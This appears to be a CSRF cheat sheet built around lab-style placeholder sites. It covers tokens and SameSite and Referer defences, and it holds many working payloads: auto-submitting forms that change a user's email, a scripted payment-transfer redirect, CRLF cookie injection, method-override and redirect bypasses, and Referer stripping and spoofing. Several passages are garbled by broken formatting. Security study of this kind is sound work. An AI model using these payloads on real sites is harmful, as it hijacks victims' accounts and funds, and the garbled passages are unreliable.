Cross-Site Request Forgery (CSRF) is a type of web attack where a malicious site tricks a user into performing actions on another site where they’re authenticated. For example, it could change a user’s email or send money-without their consent.
An attacker can trick a logged-in user into submitting unwanted requests.
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html><img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">A CSRF token is a unique and unpredictable value generated by the server. It must be submitted with sensitive requests (like changing an email). This ensures the request comes from a legitimate user.
<form name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="example@normal-website.com">
<input required type="hidden" name="csrf" value="unique-random-token">
<button type="submit">Update Email</button>
</form>Note: CSRF tokens should be tied to the user’s session and checked on the server.
SameSite is a cookie attribute that controls whether cookies are sent with cross-site requests.
Strict: Only sent in same-site requests (most
secure).Lax: Sent on same-site and top-level GET requests
(default in most modern browsers).None: Sent in all requests but must be marked
Secure.Some applications check the Referer header to verify
that requests are coming from their own domain. This can help
prevent CSRF attacks, but it’s not foolproof.
Warning: Don’t rely solely on referer validation. Users or browsers may strip or modify this header.
POST to GETCRLF.(%0d%0a) /?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None<script> block. Then add the following code to
inject the cookie.<img src="https://vulnerable-website.com/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">Using GET requests (bypass lax)
<script>
document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>GET method override (bypass lax)
Even if an ordinary GET request isn’t allowed,
some frameworks supports _method parameter. (Other
frameworks support a variety of similar parameters)
GET /my-account/change-email?email=a@a.com&_method=POST HTTP/1.1Use a client-side redirect:
// On page: https://vulnerable-website.com/post/confirm?postId=10
redirectOnConfirmation = () => {
setTimeout(() => {
const url = new URL(window.location);
const postId = url.searchParams.get("postId");
window.location = '/post/' + postId;
}, 3000);
}Now trigger redirect to a sensitive endpoint:
<script>
document.location = "https://vulnerable-website.com/post/confirm?postId=10/../../my-account/change-email?email=a@a.com";
</script>Note: This attack isn’t possible with server-side redirects, as browsers recognize the cross-site request and apply cookie restrictions.
Some apps validate the Referer header if present, but skip if omitted:
<meta name="referrer" content="never">This prevents the browser from sending the Referer
header.
Common tricks include using subdomains or path tricks:
http://vulnerable-website.com.attacker.com/csrf
http://attacker.com/csrf?vulnerable-website.comYou need to add Referrer-Policy to
unsafe-url:
<meta name="referrer" content="unsafe-url" />Tip: Instead of use
http://attacker-website.com/vulnerable-website.com, you can usehttp://attacker-website.com/and add<script>history.pushState('', '', '/vulnerable-website.com')</script><!-- http://attacker-website.com/ --> <html> <meta name="referrer" content="unsafe-url"/> <body> <form action="https://vulnerable-website.com/change-email" method="POST"> <input type="hidden" name="email" value="test@test.com" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/vulnerable-website.com'); document.forms[0].submit(); </script> </body> </html>
Firefox 87 new default Referrer Policy
strict-origin-when-cross-origin trimming user sensitive
information like path and query string to protect privacy [↗]
.